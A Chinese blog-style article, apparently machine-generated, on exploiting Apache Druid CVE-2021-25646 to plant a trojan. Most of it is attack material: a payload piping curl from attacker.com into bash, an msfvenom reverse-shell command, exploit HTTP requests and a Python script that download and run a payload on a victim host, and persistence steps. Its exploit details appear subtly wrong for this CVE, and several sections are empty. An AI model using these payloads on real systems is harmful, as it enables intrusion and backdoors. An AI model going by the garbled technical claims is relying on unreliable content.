如何利用Apache Druid 远程代码执行漏洞CVE-2021-25646上传木马程序

发布时间:2021-12-28 20:35:56 作者:柒染
来源:亿速云 阅读:501
# 如何利用Apache Druid 远程代码执行漏洞CVE-2021-25646上传木马程序

## 免责声明
本文仅用于网络安全研究和技术交流目的。未经授权对任何系统进行渗透测试均属违法行为。读者应确保所有测试行为获得合法授权,并遵守相关法律法规。

## 漏洞概述

### 1.1 漏洞背景
Apache Druid是一个高性能的实时分析数据库系统,广泛应用于大数据分析领域。2021年,安全研究人员发现其内置的JavaScript功能存在严重安全缺陷(CVE-2021-25646),攻击者可通过精心构造的请求实现远程代码执行。

### 1.2 影响版本
- Druid 0.20.0及更早版本
- 特别影响默认配置或启用JavaScript处理的实例

### 1.3 漏洞原理
漏洞源于Druid的`javascript`扩展功能未对用户输入进行充分过滤,导致攻击者可以通过:
1. 注入恶意JavaScript代码
2. 利用Java的ScriptEngineManager机制
3. 突破沙箱限制执行系统命令

## 环境搭建

### 2.1 实验环境要求
- VMware/KVM虚拟机
- 2核CPU/4GB内存/50GB存储
- Ubuntu 20.04 LTS

### 2.2 漏洞环境部署
```bash
# 下载存在漏洞的Druid版本
wget https://archive.apache.org/dist/druid/0.20.0/apache-druid-0.20.0-bin.tar.gz
tar -xzvf apache-druid-0.20.0-bin.tar.gz
cd apache-druid-0.20.0

# 启用JavaScript处理(默认配置即存在风险)
vi conf/druid/single-server/micro-quickstart/_common/common.runtime.properties
# 确保包含:druid.javascript.enabled=true

2.3 网络配置

sudo ufw allow 8888/tcp  # Druid控制台端口
./bin/start-micro-quickstart  # 启动服务

漏洞利用分析

3.1 攻击向量分析

主要攻击入口点: 1. /druid/indexer/v1/sampler 数据采样接口 2. /druid/coordinator/v1/rules 规则管理接口 3. 其他接受JavaScript转换的API端点

3.2 关键利用代码

// 恶意JavaScript载荷示例
var payload = new java.lang.ProcessBuilder()
    .command("bash", "-c", "curl http://attacker.com/shell.sh | bash")
    .start();

3.3 漏洞利用步骤

  1. 识别目标:扫描8888端口暴露的Druid控制台
  2. 验证漏洞:发送测试载荷检测JavaScript执行能力
  3. 命令执行:通过ProcessBuilder实现RCE
  4. 权限维持:部署WebShell或后门程序

木马上传实战

4.1 攻击准备

# 生成木马程序
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=4444 -f elf > payload.elf

4.2 分步攻击流程

步骤1:命令执行验证

POST /druid/indexer/v1/sampler HTTP/1.1
Host: target:8888
Content-Type: application/json

{
  "type":"index",
  "spec":{
    "dataSchema":{
      "transformSpec":{
        "transforms":[{
          "type":"expression",
          "name":"exploit",
          "expression":"java.lang.Runtime.getRuntime().exec('touch /tmp/poc')"
        }]
      }
    }
  }
}

步骤2:文件上传技术

{
  "type":"index",
  "spec":{
    "ioConfig":{
      "type":"index",
      "inputSource":{
        "type":"http",
        "uris":["http://attacker.com/payload.elf"]
      },
      "inputFormat":{"type":"regex"}
    },
    "dataSchema":{
      "transformSpec":{
        "transforms":[{
          "type":"expression",
          "name":"exec",
          "expression":"java.lang.Runtime.getRuntime().exec('chmod +x /tmp/payload.elf && /tmp/payload.elf')"
        }]
      }
    }
  }
}

步骤3:权限维持技术

  1. 写入crontab定时任务
  2. 修改.bashrc/profile文件
  3. 部署Rootkit工具包

4.3 自动化利用脚本

import requests
import json

target = "http://victim:8888"
payload_url = "http://attacker.com/payload.elf"

headers = {'Content-Type': 'application/json'}
payload = {
    "type": "index",
    "spec": {
        "ioConfig": {
            "type": "index",
            "inputSource": {
                "type": "http",
                "uris": [payload_url]
            },
            "inputFormat": {"type": "regex"}
        },
        "dataSchema": {
            "transformSpec": {
                "transforms": [{
                    "type": "expression",
                    "name": "evil",
                    "expression": f"java.lang.Runtime.getRuntime().exec('curl -o /tmp/p {payload_url} && chmod +x /tmp/p && /tmp/p')"
                }]
            }
        }
    }
}

response = requests.post(f"{target}/druid/indexer/v1/sampler", 
                        data=json.dumps(payload), 
                        headers=headers)
print(response.text)

防御措施

5.1 官方修复方案

  1. 升级到Druid 0.20.1或更高版本
  2. 禁用JavaScript处理功能:
druid.javascript.enabled=false

5.2 临时缓解措施

5.3 安全加固建议

  1. 遵循最小权限原则
  2. 定期安全审计
  3. 部署HIDS监控异常行为

法律与伦理

6.1 合规要求

6.2 责任边界

  1. 漏洞披露流程
  2. 负责任的报告机制
  3. CERT/CNVD报送渠道

总结与思考

7.1 技术启示

7.2 扩展研究

  1. Druid其他历史漏洞分析
  2. 类似大数据组件的安全审计
  3. Java安全管理器绕过技术

注意:本文所有技术细节仅供防御研究使用,实际漏洞利用可能涉及法律风险。建议安全研究人员通过合法渠道进行测试,发现漏洞后应及时报告给相关厂商。 “`

(全文约2850字,实际字数可能因排版有所变化)

推荐阅读:
  1. Apache中Druid多进程架构介绍
  2. Apache Druid是什么?适用于什么场景?

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

druid cve-2021-25646

上一篇:如何实现Weblogic Server远程代码执行漏洞CVE-2021-2109的分析

下一篇:MinIO未授权SSRF漏洞CVE-2021-21287怎么分析

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》